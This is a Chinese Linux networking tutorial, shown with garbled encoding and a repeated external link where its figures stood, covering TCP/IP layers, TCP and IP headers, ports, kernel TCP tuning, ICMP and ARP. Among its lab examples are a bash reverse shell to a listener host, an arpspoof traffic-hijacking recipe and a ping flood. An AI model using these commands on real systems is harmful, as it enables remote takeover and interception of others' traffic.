https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

3 TCP/IP 協(xié)議棧

3.1 TCP/IP 標(biāo)準(zhǔn)

3.1.1 TCP/IP 介紹

Transmission Control Protocol/Internet Protocol 傳輸控制協(xié)議/因特網(wǎng)互聯(lián)協(xié)議
TCP/IP是一個(gè)Protocol Stack,包括TCP、IP、UDP、ICMP、RIP、TELNET、FTP、SMTP、ARP等許多協(xié)議
最早發(fā)源于1969年美國國防部(縮寫為DoD)的因特網(wǎng)的前身ARPA網(wǎng)絡(luò)項(xiàng)目,1983年1月1日,TCP/IP取代了舊的網(wǎng)絡(luò)控制協(xié)議NCP,成為今天的互聯(lián)網(wǎng)和局域網(wǎng)的基石和標(biāo)準(zhǔn),由互聯(lián)網(wǎng)工程任務(wù)組負(fù)責(zé)維護(hù)
國防高級(jí)研究計(jì)劃局DARPA與BBN技術(shù)公司、斯坦福大學(xué)和倫敦大學(xué)學(xué)院簽約,在多個(gè)硬件平臺(tái)上開發(fā)協(xié)議的操作版本。 在協(xié)議開發(fā)過程中,數(shù)據(jù)包路由層的版本號(hào)從版本 1 進(jìn)展到版本 4,后者于 1983 年安裝在 ARPANET 中。它被稱為互聯(lián)網(wǎng)協(xié)議版本4(IPv4)作為協(xié)議,仍在互聯(lián)網(wǎng)使用,連同其目前的繼承,互聯(lián)網(wǎng)協(xié)議版本6(IPv6)。
RFC 文檔: https://www.ietf.org/rfc/rfc1180.html?

3.1.2 TCP/IP 分層

共定義了四層,和 OSI參考模型的分層有對應(yīng)關(guān)系
RFC文檔: https://www.ietf.org/rfc/rfc1122#section-1.3.3
RFC官方分為四層:
????????Application Layer
????????Transport Layer
????????Internet Layer
????????Link Layer(media-access)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?TCP/IP 應(yīng)用層https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?3.1.3 TCP/IP 通信過程

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?3.1.4 TCP/IP和OSI模型的比較

相同點(diǎn)
????????兩者都是以協(xié)議棧的概念為基礎(chǔ)
????????協(xié)議棧中的協(xié)議彼此相互獨(dú)立
????????下層對上層提供服務(wù)
不同點(diǎn)
????????OSI是先有模型;TCP/IP是先有協(xié)議,后有模型
????????OSI是國際標(biāo)準(zhǔn),適用于各種協(xié)議棧;TCP/IP實(shí)際標(biāo)準(zhǔn),只適用于TCP/IP網(wǎng)絡(luò)
????????層次數(shù)量不同

3.2 transport 層

TCP和UDP

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)?3.2.1 TCP Transmission Control Protocol

?TCP特性

工作在傳輸層
面向連接協(xié)議
全雙工協(xié)議
半關(guān)閉
將數(shù)據(jù)打包成段,排序
確認(rèn)機(jī)制
數(shù)據(jù)恢復(fù),重傳
錯(cuò)誤檢查
流量控制,滑動(dòng)窗口
擁塞控制,慢啟動(dòng)和擁塞避免算法
更多關(guān)于tcp的內(nèi)核參數(shù),可參看man 7 tcp

TCP包頭結(jié)構(gòu)

TCP 包頭https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

源端口、目標(biāo)端口:計(jì)算機(jī)上的進(jìn)程要和其他進(jìn)程通信是要通過計(jì)算機(jī)端口的,而一個(gè)計(jì)算機(jī)端口
某個(gè)時(shí)刻只能被一個(gè)進(jìn)程占用,所以通過指定源端口和目標(biāo)端口,就可以知道是哪兩個(gè)進(jìn)程需要通
信。源端口、目標(biāo)端口是用16位表示的,可推算計(jì)算機(jī)的端口個(gè)數(shù)為2^16個(gè),即65536

序列號(hào):表示本報(bào)文段所發(fā)送數(shù)據(jù)的第一個(gè)字節(jié)的編號(hào)。在TCP連接中所傳送的字節(jié)流的每一個(gè)字
節(jié)都會(huì)按順序編號(hào)。由于序列號(hào)由32位表示,所以每2^32個(gè)字節(jié),就會(huì)出現(xiàn)序列號(hào)回繞,再次從 0
開始

確認(rèn)號(hào):表示接收方期望收到發(fā)送方下一個(gè)報(bào)文段的第一個(gè)字節(jié)數(shù)據(jù)的編號(hào)。也就是告訴發(fā)送方:
我希望你(指發(fā)送方)下次發(fā)送的數(shù)據(jù)的第一個(gè)字節(jié)數(shù)據(jù)的編號(hào)為此確認(rèn)號(hào)

數(shù)據(jù)偏移:表示TCP報(bào)文段的首部長度,共4位,由于TCP首部包含一個(gè)長度可變的選項(xiàng)部分,需要指定這個(gè)TCP報(bào)文段到底有多長。它指出 TCP 報(bào)文段的數(shù)據(jù)起始處距離 TCP 報(bào)文段的起始處有多遠(yuǎn)。該字段的單位是32位(即4個(gè)字節(jié)為計(jì)算單位),4位二進(jìn)制最大表示15,所以數(shù)據(jù)偏移也就是TCP首部最大60字節(jié)

URG:表示本報(bào)文段中發(fā)送的數(shù)據(jù)是否包含緊急數(shù)據(jù)。后面的緊急指針字段(urgent pointer)只
有當(dāng)URG=1時(shí)才有效

ACK:表示是否前面確認(rèn)號(hào)字段是否有效。只有當(dāng)ACK=1時(shí),前面的確認(rèn)號(hào)字段才有效。TCP規(guī)
定,連接建立后,ACK必須為1,帶ACK標(biāo)志的TCP報(bào)文段稱為確認(rèn)報(bào)文段

PSH:提示接收端應(yīng)用程序應(yīng)該立即從TCP接收緩沖區(qū)中讀走數(shù)據(jù),為接收后續(xù)數(shù)據(jù)騰出空間。如
果為1,則表示對方應(yīng)當(dāng)立即把數(shù)據(jù)提交給上層應(yīng)用,而不是緩存起來,如果應(yīng)用程序不將接收到
的數(shù)據(jù)讀走,就會(huì)一直停留在TCP接收緩沖區(qū)中

RST:如果收到一個(gè)RST=1的報(bào)文,說明與主機(jī)的連接出現(xiàn)了嚴(yán)重錯(cuò)誤(如主機(jī)崩潰),必須釋放連接,然后再重新建立連接?;蛘哒f明上次發(fā)送給主機(jī)的數(shù)據(jù)有問題,主機(jī)拒絕響應(yīng),帶RST標(biāo)志的TCP報(bào)文段稱為復(fù)位報(bào)文段

SYN:在建立連接時(shí)使用,用來同步序號(hào)。當(dāng)SYN=1,ACK=0時(shí),表示這是一個(gè)請求建立連接的報(bào)文段;當(dāng)SYN=1,ACK=1時(shí),表示對方同意建立連接。SYN=1,說明這是一個(gè)請求建立連接或同意建立連接的報(bào)文。只有在前兩次握手中SYN才置為1,帶SYN標(biāo)志的TCP報(bào)文段稱為同步報(bào)文段

FIN:表示通知對方本端要關(guān)閉連接了,標(biāo)記數(shù)據(jù)是否發(fā)送完畢。如果FIN=1,即告訴對方:“我的
數(shù)據(jù)已經(jīng)發(fā)送完畢,你可以釋放連接了”,帶FIN標(biāo)志的TCP報(bào)文段稱為結(jié)束報(bào)文段

窗口大小:表示現(xiàn)在允許對方發(fā)送的數(shù)據(jù)量,也就是告訴對方,從本報(bào)文段的確認(rèn)號(hào)開始允許對方
發(fā)送的數(shù)據(jù)量,達(dá)到此值,需要ACK確認(rèn)后才能再繼續(xù)傳送后面數(shù)據(jù),由Window size value *
Window size scaling factor(此值在三次握手階段TCP選項(xiàng)Window scale協(xié)商得到)得出此值

校驗(yàn)和:提供額外的可靠性

緊急指針:標(biāo)記緊急數(shù)據(jù)在數(shù)據(jù)字段中的位置
選項(xiàng)部分:其最大長度可根據(jù)TCP首部長度進(jìn)行推算。TCP首部長度用4位表示,選項(xiàng)部分最長為:(2^4-1)*4-20=40字節(jié)

TCP協(xié)議PORT

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?傳輸層通過port號(hào),確定應(yīng)用層協(xié)議,范圍0-65535

維基百科:https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
IANA互聯(lián)網(wǎng)數(shù)字分配機(jī)構(gòu)負(fù)責(zé)域名,數(shù)字資源,協(xié)議分配

0-1023:系統(tǒng)端口或特權(quán)端口(僅管理員可用) ,眾所周知,永久的分配給固定的系統(tǒng)應(yīng)用使用,
22/tcp(ssh), 80/tcp(http), 443/tcp(https)

1024-49151:用戶端口或注冊端口,但要求并不嚴(yán)格,分配給程序注冊為某應(yīng)用使用,
1433/tcp(SqlServer), 1521/tcp(oracle),3306/tcp(mysql),11211/tcp/udp (memcached)

49152-65535:動(dòng)態(tài)或私有端口,客戶端隨機(jī)使用端口,范圍定
義:/proc/sys/net/ipv4/ip_local_port_range

#例:調(diào)整客戶端的動(dòng)態(tài)端口范圍
[root@centos8 ~]#cat /proc/sys/net/ipv4/ip_local_port_range
32768 60999
[root@centos8 ~]#echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
[root@centos8 ~]#cat /proc/sys/net/ipv4/ip_local_port_range
20000 62000


#例:
[root@centos8 ~]#dnf -y install man-pages
[root@centos8 ~]#man 2 socket
[root@centos8 ~]#dnf -y install nc


#服務(wù)器端
[root@centos8 ~]#ss -ntlu
Netid ??State ???Recv-Q ?Send-Q ?Local Address:Port ?????Peer
Address:Port
tcp ???LISTEN ???0 ??????128 ??? 0.0.0.0:22 ????????
?0.0.0.0:* 
tcp ???LISTEN ???0 ??????128 ?????[::]:22 ??????????
[::]:* ???
[root@centos8 ~]#nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.


[root@centos8 ~]#nc -l 9527
I am centos7
I am centos8


#客戶端
[root@centos7 ~]#nc 10.0.0.8 9527
I am centos7
I am centos8


#再開一個(gè)連接失敗
[root@centos7 ~]#nc 10.0.0.8 9527
Ncat: Connection refused.


[root@centos8 ~]#ss -nt
State ???Recv-Q ???Send-Q ??Local Address:Port ????????Peer
Address:Port
ESTAB ???0 ??????0 ???????10.0.0.8:9527 ?????????
10.0.0.7:40706 


#服務(wù)器開啟UDP的端口
[root@centos8 ~]#nc -l 7000 -u


#客戶端連接
[root@centos7 ~]#nc 10.0.0.8 7000 -u
[root@centos8 ~]#ss -ntu
Netid ??State ???Recv-Q ???Send-Q ??????Local Address:Port ???
??Peer Address:Port ??
udp ???ESTAB ???0 ??????0 ????????????10.0.0.8:7000 ??
?????10.0.0.7:52667 ??
tcp ???ESTAB ???0 ??????0 ????????????10.0.0.8:8000 ??
?????10.0.0.7:53402 ??
tcp ???ESTAB ???0 ??????52 ???????????10.0.0.8:22 ???
?????10.0.0.1:13305 



#例:找到端口沖突的應(yīng)用程序
[root@centos8 ~]#nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.

[root@centos8 ~]#ss -ntlp
State ?Recv-Q ?Send-Q ???Local Address:Port ?Peer Address:Port ????

LISTEN ?0 ????128 ????????0.0.0.0:22 ???????0.0.0.0:* ??
users:(("sshd",pid=699,fd=4)) 
LISTEN ?0 ????128 ?????????[::]:22 ????????[::]:* ??
users:(("sshd",pid=699,fd=6)) 

[root@centos8 ~]#lsof -i :22
COMMAND PID USER ?FD ?TYPE DEVICE SIZE/OFF NODE NAME
sshd ??699 root ?4u IPv4 ?26846 ??0t0 TCP *:ssh (LISTEN)
sshd ??699 root ?6u IPv6 ?26848 ??0t0 TCP *:ssh (LISTEN)
sshd ??1287 root ?5u IPv4 ?29875 ??0t0 TCP centos8.localdomain:ssh-
>10.0.0.1:pc-mta-addrmap (ESTABLISHED)
sshd ??1300 root ?5u IPv4 ?29875 ??0t0 TCP centos8.localdomain:ssh-
>10.0.0.1:pc-mta-addrmap (ESTABLISHED)



#例:判斷端口是否正在打開
[root@centos8 ~]#< /dev/tcp/127.0.0.1/80
[root@centos8 ~]#echo $?
0
[root@centos8 ~]#< /dev/tcp/127.0.0.1/8080
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/8080: Connection refused
[root@centos8 ~]#echo $?
1


#例:利用重定向?qū)崿F(xiàn)上網(wǎng)
[root@centos8 ~]#exec 8<>/dev/tcp/www.baidu.com/80
[root@centos8 ~]#ll /proc/$$/fd
total 0
lrwx------ 1 root root 64 Apr 20 14:14 0 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:14 1 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:14 2 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:17 255 -> /dev/pts/0
lr-x------ 1 root root 64 Apr 20 14:14 3 -> /var/lib/sss/mc/passwd
lrwx------ 1 root root 64 Apr 20 14:14 4 -> 'socket:[32754]'
lrwx------ 1 root root 64 Apr 20 14:14 8 -> 'socket:[32777]'
[root@centos8 ~]#echo -e 'GET / HTTP/1.1\n' >& 8
[root@centos8 ~]#cat <& 8



#例:反彈 shell 實(shí)現(xiàn)遠(yuǎn)程控制
#在控制機(jī)監(jiān)聽打開端口
[root@centos8 ~]#dnf -y install nc
[root@centos8 ~]#nc -lvp 6666
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666

#在被控制機(jī)上實(shí)現(xiàn)反彈shell
[root@centos7 ~]#bash -i &> /dev/tcp/10.0.0.8/6666 0>&1

#在控制機(jī)主機(jī)可以觀察到以下信息,自動(dòng)登錄到被控制主機(jī),且可以執(zhí)行命令

?3.2.2TCP端口號(hào)通信過程

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)3.2.3TCP確認(rèn)和固定窗口

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)?TCP滑動(dòng)窗口https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?3.2.3.1三次握手和四次揮手

建立連接https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

TCP三次握手https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)?TCP四次揮手https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?3.3內(nèi)核TCP參數(shù)優(yōu)化

#參看幫助: man 7 tcp
編輯文件/etc/sysctl.conf,加入以下內(nèi)容:然后執(zhí)行 sysctl -p 讓參數(shù)生效。
net.ipv4.tcp_fin_timeout = 2
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_keepalive_time = 600
net.ipv4.ip_local_port_range = 2000 65000
net.ipv4.tcp_max_syn_backlog = 16384
net.ipv4.tcp_max_tw_buckets = 36000
net.ipv4.route.gc_timeout = 100
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_max_orphans = 16384
net.core.somaxconn = 16384
net.core.netdev_max_backlog = 16384


作用說明:
net.ipv4.tcp_fin_timeout 表示套接字由本端要求關(guān)閉,這個(gè)參數(shù)決定了它保持在FIN-WAIT-2狀態(tài)
的時(shí)間,默認(rèn)值是60秒。 該參數(shù)對應(yīng)系統(tǒng)路徑為:/proc/sys/net/ipv4/tcp_fin_timeout 60

net.ipv4.tcp_tw_reuse 表示開啟重用。允許將TIME-WAIT sockets重新用于新的TCP連接,默認(rèn)值
為0,表示關(guān)閉。 該參數(shù)對應(yīng)系統(tǒng)路徑為:/proc/sys/net/ipv4/tcp_tw_reuse 0

net.ipv4.tcp_tw_recycle 表示開啟TCP連接中TIME-WAIT sockets的快速回收。 該參數(shù)對應(yīng)系統(tǒng)路
徑為:/proc/sys/net/ipv4/tcp_tw_recycle,默認(rèn)為0,表示關(guān)閉。 提示:reuse和recycle這兩個(gè)參
數(shù)是為防止生產(chǎn)環(huán)境下服務(wù)器time_wait網(wǎng)絡(luò)狀態(tài)數(shù)量過多設(shè)置的。

net.ipv4.tcp_syncookies 表示開啟SYN Cookies功能。當(dāng)出現(xiàn)SYN等待隊(duì)列溢出時(shí),啟用Cookies
來處理,可防范少量SYN攻擊,這個(gè)參數(shù)也可以不添加。 該參數(shù)對應(yīng)系統(tǒng)路徑
為:/proc/sys/net/ipv4/tcp_syncookies,默認(rèn)值為1

net.ipv4.tcp_keepalive_time 表示當(dāng)keepalive啟用時(shí),TCP發(fā)送keepalive消息的頻度。默認(rèn)是2小
時(shí),建議改為10分鐘。 該參數(shù)對應(yīng)系統(tǒng)路徑為:/proc/sys/net/ipv4/tcp_keepalive_time,默認(rèn)為
7200秒。

net.ipv4.ip_local_port_range 該選項(xiàng)用來設(shè)定允許系統(tǒng)打開的端口范圍,即用于向外連接的端口范
圍。 該參數(shù)對應(yīng)系統(tǒng)路徑為:/proc/sys/net/ipv4/ip_local_port_range 32768 61000

net.ipv4.tcp_max_syn_backlog 表示SYN隊(duì)列的長度,即半連接隊(duì)列長度,默認(rèn)為1024,建議加
大隊(duì)列的長度為8192或更多,這樣可以容納更多等待連接的網(wǎng)絡(luò)連接數(shù)。 該參數(shù)為服務(wù)器端用于
記錄那些尚未收到客戶端確認(rèn)信息的連接請求最大值。 該參數(shù)對象系統(tǒng)路徑
為:/proc/sys/net/ipv4/tcp_max_syn_backlog

net.ipv4.tcp_max_tw_buckets 表示系統(tǒng)同時(shí)保持TIME_WAIT套接字的最大數(shù)量,如果超過這個(gè)數(shù)
值,TIME_WAIT套接字將立刻被清除并打印警告信息。 默認(rèn)為180000,對于Apache、Nginx等服
務(wù)器來說可以將其調(diào)低一點(diǎn),如改為5000~30000,不通業(yè)務(wù)的服務(wù)器也可以給大一點(diǎn),比如
LVS、Squid。 此項(xiàng)參數(shù)可以控制TIME_WAIT套接字的最大數(shù)量,避免Squid服務(wù)器被大量的
TIME_WAIT套接字拖死。 該參數(shù)對應(yīng)系統(tǒng)路徑為:/proc/sys/net/ipv4/tcp_max_tw_buckets

net.ipv4.tcp_synack_retries 參數(shù)的值決定了內(nèi)核放棄連接之前發(fā)送SYN+ACK包的數(shù)量。 該參數(shù)
對應(yīng)系統(tǒng)路徑為:/proc/sys/net/ipv4/tcp_synack_retries,默認(rèn)值為5

net.ipv4.tcp_syn_retries 表示在內(nèi)核放棄建立連接之前發(fā)送SYN包的數(shù)量。 該參數(shù)對應(yīng)系統(tǒng)路徑
為:/proc/sys/net/ipv4/tcp_syn_retries,默認(rèn)值為6

net.ipv4.tcp_max_orphans 用于設(shè)定系統(tǒng)中最多有多少個(gè)TCP套接字不被關(guān)聯(lián)到任何一個(gè)用戶文件
句柄上。 如果超過這個(gè)數(shù)值,孤立連接將被立即被復(fù)位并打印出警告信息。 這個(gè)限制只有為了防
止簡單的DoS攻擊。不能過分依靠這個(gè)限制甚至認(rèn)為減少這個(gè)值,更多的情況是增加這個(gè)值。 該參
數(shù)對應(yīng)系統(tǒng)路徑為:/proc/sys/net/ipv4/tcp_max_orphans ,默認(rèn)值8192

net.core.somaxconn 同時(shí)發(fā)起的TCP的最大連接數(shù),即全連接隊(duì)列長度,在高并發(fā)請求中,可能
會(huì)導(dǎo)致鏈接超時(shí)或重傳,一般結(jié)合并發(fā)請求數(shù)來調(diào)大此值。 該參數(shù)對應(yīng)系統(tǒng)路徑
為:/proc/sys/net/core/somaxconn ,默認(rèn)值是128

net.core.netdev_max_backlog 表示當(dāng)每個(gè)網(wǎng)絡(luò)接口接收數(shù)據(jù)包的速率比內(nèi)核處理這些包的速率快
時(shí),允許發(fā)送到隊(duì)列的數(shù)據(jù)包最大數(shù)。 該參數(shù)對應(yīng)系統(tǒng)路徑
為:/proc/sys/net/core/netdev_max_backlog,默認(rèn)值為1000

?3.4UDP包頭

?3.5Internet層.

Internet Control Message Protocolhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)?

#例: 利用icmp協(xié)議判斷網(wǎng)絡(luò)狀態(tài)
[root@centos7 ~]#ping 10.0.0.8
PING 10.0.0.8 (10.0.0.8) 56(84) bytes of data.
64 bytes from 10.0.0.8: icmp_seq=1 ttl=64 time=0.307 ms

#[root@centos7 ~]#ping 10.0.0.81
PING 10.0.0.81 (10.0.0.81) 56(84) bytes of data.
From 10.0.0.7 icmp_seq=1 Destination Host Unreachable

#
[root@centos8 ~]#ping -s 65508 10.0.0.8
Error: packet size 65508 is too large. Maximum is 65507

[root@centos8 ~]#ping -f -s 65507 172.18.0.200
PING 172.18.0.200 (172.18.0.200) 65507(65535) bytes of data.
...........................................................

?Address Resolution Protocol

ARP
ARP 地址解析協(xié)議由互聯(lián)網(wǎng)工程任務(wù)組(IETF)在1982年11月發(fā)布的RFC 826中描述制定,是根據(jù)IP地址獲取物理地址的一個(gè)TCP/IP協(xié)議。

主機(jī)發(fā)送信息時(shí)將包含目標(biāo)IP地址的ARP請求廣播到局域網(wǎng)絡(luò)上的所有主機(jī),并接收返回消息,以此確定目標(biāo)的物理地址;收到返回消息后將該IP地址和物理地址存入本機(jī)ARP緩存中并保留一定時(shí)間,下次請求時(shí)直接查詢ARP緩存以節(jié)約資源。地址解析協(xié)議是建立在網(wǎng)絡(luò)中各個(gè)主機(jī)互相信任的基礎(chǔ)上的,局域網(wǎng)絡(luò)上的主機(jī)可以自主發(fā)送ARP應(yīng)答消息,其他主機(jī)收到應(yīng)答報(bào)文時(shí)不會(huì)檢測該報(bào)文的真實(shí)性就會(huì)將其記入本機(jī)ARP緩存

同網(wǎng)段的ARPhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?跨網(wǎng)段的ARP

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

#例:ARP 表
[root@xinxin ~]#ip neigh
192.168.1.110 dev eth0 lladdr 60:02:b4:e3:8a:c0 STALE
192.168.1.156 dev eth0 lladdr 50:01:d9:8a:1d:3f STALE
192.168.1.114 dev eth0 lladdr 40:8d:5c:e1:97:34 STALE
192.168.1.118 dev eth0 lladdr 94:65:2d:38:44:82 STALE

[root@xinxin ~]#arp -n
Address ????????HWtype HWaddress ?????Flags Mask ?????Iface
192.168.1.110 ?????ether ?60:02:b4:e3:8a:c0 ?C ??????????eth0
192.168.1.156 ?????ether ?50:01:d9:8a:1d:3f ?C ??????????eth0
192.168.1.114 ?????ether ?40:8d:5c:e1:97:34 ?C ??????????eth0
192.168.1.118 ?????ether ?94:65:2d:38:44:82 ?C ??????????eth0


#例:ARP靜態(tài)綁定可以防止ARP欺騙
[root@centos8 ~]#arp -s 10.0.0.6 00:0c:29:32:80:38
[root@centos8 ~]#arp -n
Address ????????HWtype HWaddress ?????Flags Mask ?????Iface
10.0.0.6 ????????ether ?00:0c:29:32:80:38 ?CM ?????????eth0
10.0.0.7 ????????ether ?00:0c:29:32:80:38 ?C ??????????eth0
10.0.0.1 ????????ether ?00:50:56:c0:00:08 ?C ??????????eth0


#例:kali 系統(tǒng)實(shí)現(xiàn) arp 欺騙上網(wǎng)流量劫持

#啟動(dòng)路由轉(zhuǎn)發(fā)功能
[root@kali ~]# echo 1 > /proc/sys/net/ipv4/ip_forward

#安裝包
[root@kali ~]# apt-get install dsniff

#欺騙目標(biāo)主機(jī),本機(jī)是網(wǎng)關(guān)
[root@kali ~]# arpspoof -i eth0 -t 被劫持的目標(biāo)主機(jī)IP 網(wǎng)關(guān)IP

#欺騙網(wǎng)關(guān),本機(jī)是目標(biāo)主機(jī)
[root@kali ~]# arpspoof -i eth0 -t 網(wǎng)關(guān)IP 被劫持的目標(biāo)主機(jī)IP

?Reverse Address Resolution Protocol

RARP 即將MAC轉(zhuǎn)換成IPhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

3.5.1internet 協(xié)議

運(yùn)行于 OSI 網(wǎng)絡(luò)層
面向無連接的協(xié)議
獨(dú)立處理數(shù)據(jù)包
分層編址
盡力而為傳輸
無數(shù)據(jù)恢復(fù)功能????????

3.5.2IP PDU 報(bào)頭

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)3.5.3 IP PDU 報(bào)頭格式

版本:占4位,指 IP 協(xié)議的版本目前的IP協(xié)議版本號(hào)為4
首部長度:占4位,可表示的最大數(shù)值是15個(gè)單位,一個(gè)單位為4字節(jié),因此IP 的首部長度的最大值是
60字節(jié)

區(qū)分服務(wù):占8位,用來獲得更好的服務(wù),在舊標(biāo)準(zhǔn)中叫做服務(wù)類型,但實(shí)際上一直未被使用過.后改名為
區(qū)分服務(wù).只有在使用區(qū)分服務(wù)(DiffServ)時(shí),這個(gè)字段才起作用.一般的情況下不使用

總長度:占16位,指首部和數(shù)據(jù)之和的長度,單位為字節(jié),因此數(shù)據(jù)報(bào)的最大長度為 65535 字節(jié).總長度
必須不超過最大傳送單元 MTU

標(biāo)識(shí):占16位,它是一個(gè)計(jì)數(shù)器,通常,每發(fā)送一個(gè)報(bào)文,該值會(huì)加1, 也用于數(shù)據(jù)包分片,在同一個(gè)
包的若干分片中,該值是相同的標(biāo)志(flag):占3位,目前只有后兩位有意義
DF: Don’t Fragment 中間的一位,只有當(dāng) DF=0 時(shí)才允許分片
MF: More Fragment 最后一位,MF=1表示后面還有分片,MF=0 表示最后一個(gè)分片IP PDU 報(bào)頭

片偏移:占13位,指較長的分組在分片后,該分片在原分組中的相對位置.片偏移以8個(gè)字節(jié)為偏移單

生存時(shí)間:占8位,記為TTL (Time To Live) 數(shù)據(jù)報(bào)在網(wǎng)絡(luò)中可通過的路由器數(shù)的最大值,TTL 字段是由
發(fā)送端初始設(shè)置一個(gè) 8 bit字段.推薦的初始值由分配數(shù)字 RFC 指定,當(dāng)前值為 64.發(fā)送 ICMP 回顯應(yīng)
答時(shí)經(jīng)常把 TTL 設(shè)為最大值 255

協(xié)議:占8位,指出此數(shù)據(jù)報(bào)攜帶的數(shù)據(jù)使用何種協(xié)議以便目的主機(jī)的IP層將數(shù)據(jù)部分上交給哪個(gè)處理
過程, 1表示為 ICMP 協(xié)議, 2表示為 IGMP 協(xié)議, 6表示為 TCP 協(xié)議, 17表示為 UDP 協(xié)議

首部檢驗(yàn)和:占16位,只檢驗(yàn)數(shù)據(jù)報(bào)的首部不檢驗(yàn)數(shù)據(jù)部分.這里不采用 CRC 檢驗(yàn)碼而采用簡單的計(jì)
算方法

源地址和目的地址:都各占4字節(jié),分別記錄源地址和目的地址

#例: TTL
C:\Users\xin>ping 10.70.0.1
正在 Ping 10.70.0.1 具有 32 字節(jié)的數(shù)據(jù):
來自 10.70.0.1 的回復(fù): 字節(jié)=32 時(shí)間=2ms TTL=254
來自 10.70.0.1 的回復(fù): 字節(jié)=32 時(shí)間=2ms TTL=254
來自 10.70.0.1 的回復(fù): 字節(jié)=32 時(shí)間=4ms TTL=254
來自 10.70.0.1 的回復(fù): 字節(jié)=32 時(shí)間=2ms TTL=254
10.70.0.1 的 Ping 統(tǒng)計(jì)信息:
? 數(shù)據(jù)包: 已發(fā)送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),
往返行程的估計(jì)時(shí)間(以毫秒為單位):
? 最短 = 2ms,最長 = 4ms,平均 = 2ms
C:\Users\xin>


#例:發(fā)現(xiàn)IP沖突的主機(jī)
[root@centos8 ~]#arping 10.0.0.6
ARPING 10.0.0.6 from 10.0.0.8 eth0
Unicast reply from 10.0.0.6 [00:0C:29:E0:2F:37] ?0.779ms
Unicast reply from 10.0.0.6 [00:0C:29:32:80:38] ?0.798ms
Unicast reply from 10.0.0.6 [00:0C:29:32:80:38] ?0.926ms
Unicast reply from 10.0.0.6 [00:0C:29:32:80:38] ?0.864ms
^CSent 3 probes (1 broadcast(s))
Received 4 response(s)


#例: 禁用IPv6
#默認(rèn)啟動(dòng)IPv6
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:ab:8f:2b brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.18/24 brd 10.0.0.255 scope global noprefixroute eth0
???valid_lft forever preferred_lft forever
?inet6 fe80::20c:29ff:feab:8f2b/64 scope link
???valid_lft forever preferred_lft forever

#修改內(nèi)核配置
[root@centos8 ~]#vim /etc/sysctl.conf
#加下面兩行
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
[root@centos8 ~]#sysctl -p

#查看IP驗(yàn)證
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:44:c3:fe brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
???valid_lft forever preferred_lft forever


##注意:禁用IPv6可能會(huì)影響一些服務(wù)的啟動(dòng),如:ssh,postfix,mysql等
[root@centos8 ~]#vim /etc/ssh/sshd_config
#AddressFamily any 此行修改為以下行
AddressFamily inet
[root@centos8 ~]#systemctl restart sshd


[root@centos8 ~]#vim /etc/postfix/main.cf
#inet_interfaces = localhost 此行修改為以下行
inet_interfaces = 127.0.0.1 
[root@centos8 ~]#systemctl restart postfix
[root@centos8 ~]#ss -ntl
